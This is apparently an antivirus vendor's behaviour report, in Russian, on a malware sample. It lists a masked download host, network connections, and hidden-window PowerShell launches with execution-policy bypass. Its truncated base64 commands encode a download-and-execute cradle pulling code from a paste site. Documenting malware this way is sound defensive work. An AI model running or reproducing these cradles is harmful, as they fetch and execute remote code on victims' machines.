Техническая информация
Вредоносные функции
Загружает
- http://pa###.c-net.org/staceconcerns
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -e cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAIABhAFEAQgBsAEEASABnAEEASwBBAEIAdQBBAEcAVQBBAGQAdwBBAHQAQQB...
Сетевая активность
Подключается к
- 'pa###.c-net.org':80
TCP
Запросы HTTP GET
- http://pa###.c-net.org/StaceConcerns
UDP
- DNS ASK pa###.c-net.org
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -e cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAIABhAFEAQgBsAEEASABnAEEASwBBAEIAdQBBAEcAVQBBAGQAdwBBAHQAQQB...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' powershell -e aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHAAYQBzAHQAZQAuAGMALQBuAGUAdAAuAG8AcgB...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHAAYQBzAHQAZQAuAGMALQBuAGUAdAAuAG8AcgBnAC8AUwB0AG...
